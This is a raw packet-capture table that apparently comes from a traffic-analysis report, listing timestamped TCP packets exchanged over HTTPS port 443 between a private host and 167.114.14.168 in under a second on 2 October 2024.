Oct 2, 2024 06:10:23.196240902 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.196294069 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.196300983 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.196314096 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.196340084 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.204730988 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.204746008 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.204818010 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.204824924 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.204868078 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.205444098 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.205459118 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.205514908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.205523014 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.205566883 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.272540092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.272558928 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.272670031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.272686958 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.272732019 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.272746086 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.272762060 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.272805929 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.272814035 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.272835016 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.272855043 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.272959948 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.272974968 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.273017883 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.273022890 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.273047924 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.273056030 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.284413099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.284427881 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.284508944 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.284517050 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.284557104 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.284701109 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.284715891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.284759045 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.284765959 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.284790039 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.284806013 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.285056114 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.285073042 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.285113096 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.285119057 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.285139084 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.285156965 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.293155909 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.293171883 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.293250084 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.293258905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.293292999 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.293312073 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.294056892 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.294071913 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.294121981 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.294127941 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.294152975 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.294171095 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.362772942 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.362791061 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.362879038 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.362891912 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.362938881 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.363182068 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.363202095 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.363254070 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.363260031 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.363300085 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.363588095 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.363604069 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.363660097 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.363667011 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.363713026 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.372745037 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.372762918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.372843027 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.372852087 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.372895002 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.373080969 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.373109102 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.373162985 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.373169899 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.373209953 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.373393059 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.373409033 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.373459101 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.373465061 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.373503923 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.382535934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.382554054 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.382603884 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.382611990 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.382643938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.382666111 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.383865118 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.385234118 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.385251045 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.385317087 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.385327101 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.385368109 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.449554920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.449573994 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.449619055 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.449631929 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.449641943 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.449666977 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.449784040 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.449798107 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.449832916 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.449840069 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.449865103 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.449883938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.450805902 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.450826883 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.450875998 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.450882912 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.450913906 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.450932026 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.461452961 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.461467981 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.461535931 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.461544037 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.461586952 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.461733103 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.461747885 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.461785078 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.461790085 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.461816072 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.461822987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.462014914 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.462032080 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.462074041 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.462080002 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.462117910 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.470316887 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.470335007 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.470385075 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.470391989 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.470424891 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.470443010 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.471259117 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.471286058 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.471313000 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.471318007 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.471345901 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.471359015 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.542185068 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.542210102 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.542285919 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.542295933 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.542341948 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.543726921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.543741941 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.543827057 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.543833971 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.543884039 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.544496059 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.544512033 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.544554949 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.544560909 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.544588089 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.544605017 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.550323963 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.550338030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.550453901 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.550460100 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.550499916 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.550592899 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.550607920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.550649881 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.550657034 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.550679922 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.550705910 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.551183939 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.551199913 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.551240921 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.551246881 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.551274061 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.551291943 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.559201956 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.559218884 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.559273005 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.559278965 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.559312105 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.559875965 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.559890985 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.559947014 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.559952974 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.559977055 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.559992075 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.630641937 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.630656958 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.630834103 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.630842924 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.630897045 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.632570028 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.632585049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.632652998 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.632659912 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.632713079 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.633025885 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.633039951 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.633101940 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.633109093 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.633157015 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.639307976 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.639322996 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.639378071 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.639390945 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.639432907 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.639543056 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.639559031 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.639616966 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.639624119 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.639669895 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.639722109 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.639738083 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.639776945 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.639789104 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.639802933 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.639826059 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.647883892 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.647902012 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.647958040 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.647967100 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.648010969 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.648447037 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.648467064 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.648519039 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.648525000 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.648566008 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.719741106 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.719759941 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.719842911 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.719855070 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.719897032 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.720958948 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.720973015 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.721029043 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.721038103 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.721062899 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.721084118 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.721606016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.721620083 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.721673965 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.721678972 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.721718073 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.728053093 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.728068113 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.728125095 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.728132010 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.728188992 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.728219032 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.728233099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.728266001 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.728271961 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.728301048 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.728316069 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.728499889 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.728517056 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.728560925 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.728569984 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.728606939 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.736361980 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.736377001 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.736552954 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.736560106 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.736604929 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.736952066 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.736967087 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.737025976 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.737032890 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.737075090 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.811950922 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.811975956 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.812076092 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.812088013 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.812144041 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.813402891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.813420057 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.813483000 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.813491106 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.813533068 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.814207077 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.814223051 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.814279079 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.814285994 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.814327002 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.820574045 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.820590019 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.820646048 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.820655107 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.820689917 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.820708990 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.821095943 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.821116924 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.821177006 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.821183920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.821219921 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.822882891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.822896957 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.822976112 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.822976112 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.822983027 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.823024035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.828126907 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.828156948 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.828195095 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.828202963 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.828233957 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.828250885 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.828480959 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.828495979 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.828553915 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.828561068 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.828599930 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.900255919 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.900273085 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.900327921 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.900340080 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.900366068 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.900392056 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.901828051 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.901844978 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.901902914 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.901911974 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.901949883 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.902483940 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.902498007 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.902554035 CEST	49715	443	192.168.2.5	167.114.14.168
